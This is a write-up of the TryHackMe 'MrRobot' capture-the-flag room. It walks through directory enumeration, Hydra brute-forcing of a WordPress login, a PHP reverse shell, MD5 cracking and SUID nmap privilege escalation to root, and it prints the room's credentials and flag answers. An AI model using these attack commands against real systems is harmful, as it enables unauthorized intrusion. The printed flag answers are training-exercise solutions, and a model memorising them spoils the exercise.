This is the MrRobot room from tryhackme.

Starting **gobuster** in **directory enumeration** mode

```
===============================================================
/images               (Status: 301) [Size: 235] [--> http://10.10.48.244/images/]
/video                (Status: 301) [Size: 234] [--> http://10.10.48.244/video/]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.48.244/feed/]
/image                (Status: 301) [Size: 0] [--> http://10.10.48.244/image/]
/blog                 (Status: 301) [Size: 233] [--> http://10.10.48.244/blog/]
/0                    (Status: 301) [Size: 0] [--> http://10.10.48.244/0/]
/audio                (Status: 301) [Size: 234] [--> http://10.10.48.244/audio/]
/sitemap              (Status: 200) [Size: 0]
/admin                (Status: 301) [Size: 234] [--> http://10.10.48.244/admin/]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.48.244/feed/]
/robots               (Status: 200) [Size: 41]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.48.244/wp-admin/]
/login                (Status: 302) [Size: 0] [--> http://10.10.48.244/wp-login.php]
/phpmyadmin           (Status: 403) [Size: 94]
/intro                (Status: 200) [Size: 516314]
/license              (Status: 200) [Size: 309]
/wp-content           (Status: 301) [Size: 239] [--> http://10.10.48.244/wp-content/]
/css                  (Status: 301) [Size: 232] [--> http://10.10.48.244/css/]
/js                   (Status: 301) [Size: 231] [--> http://10.10.48.244/js/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.48.244/feed/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.48.244/feed/atom/]
/wp-admin             (Status: 301) [Size: 237] [--> http://10.10.48.244/wp-admin/]
/readme               (Status: 200) [Size: 64]
```

With gobuster found directory **/robots** with 200 ok. There it pointed to a text file with the first key.
Found first flag on **/key-1-out-of-3.txt**
Also found **fsocity.dic** file.

Found a password on /license
ZWxsaW90OkVSMjgtMDY1Mgo=

Trying to see if there are any **valid usernames** in the dictionary we got along with the first key, so fsocity.dic.

```
hydra -L fsocity.dic -p text
http-post-form://10.10.48.244/wp-login.php:"log=^USER^&pwd=^PASS^&wp-submit=Log+In":"Invalid"
```

A valid username seems to be: **Elliot**
Now we do:

```
hydra -l Elliot -P fsocity.dic
http-post-form://10.10.48.244/wp-login.php:"log=^USER^&pwd=^PASS^&wp-submit=Log+In":"incorrect"
```

To instead **brute force** the **password** against the wordlist

How it works. -L is the list of users we are trying around ^USER^ and -P is the password list. We are brute forcing a http-post-form on the page 10.10.48.244/wp-login.php and the response from the page when doing a login validation is log=USERNAME&pwd=PASSWORD&wp-submit=Log+In and a response we get back on the page to indicate that a result is wrong from the brute force search is Invalid. This is because when trying to login with invalid credentials we get Error: Invalid username.

Turns out this **ZWxsaW90OkVSMjgtMDY1Mgo= is in base64** and translated to **elliot:ER28-0652** which is the username and password!

I then noticed that you could edit files and that there were **php files available to edit**. So I **uploaded** the **php** code for a **reverse shell** and ran the file through the url while **listening** on **netcat**. I then **got** a **shell** to the machine.

Now with shell access I can **cd home/robot** and see the files **key2-out-of-3.txt** and **password.raw-md5**. I do not have read access to the key but I do to the password which contains.

```
robot:c3fcd3d76192e4007dfb496cca67e13b
```

The username is **robot** and i'm guessing the **password is** the **decrypted md5**.

Using **johntheripper** we can extract the password with a wordlist with the following:

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

This will give you the **password**: **abcdefghijklmnopqrstuvwxyz**

Now doing **su robot** it says:

```
su: must be run from a terminal
```

This points to that we need to spawn a new shell which we can do with python:

```
python -c ‘import pty; pty.spawn("/bin/sh")’
```

This will spawn a shell and now doing **su robot** will ask for the password.
Now you can **cd home/robot** and then **cat key-2-out-of-3.txt** which gives the key **822c73956184f694993bede3eb39f959**

For **flag3** it is **probably in** the **root** so we need **privilege escalation**.
Find SUID bits set with:

```
find / -user root -perm -4000 -exec ls -ldb {} \;  2>/dev/null
```

Here we find **/usr/local/bin/nmap**

From this we can go to **GTFOBins** and search for **nmap** with **SUID**.
From nmap we see that we can spawn a shell with

```
nmap --interactive
!sh
```

Now we're root!

```
cd /root/
cat key-3-out-of-3.txt
```

and we get the 3rd key

```
04787ddef27c3dee1ee161b21670b4e4
```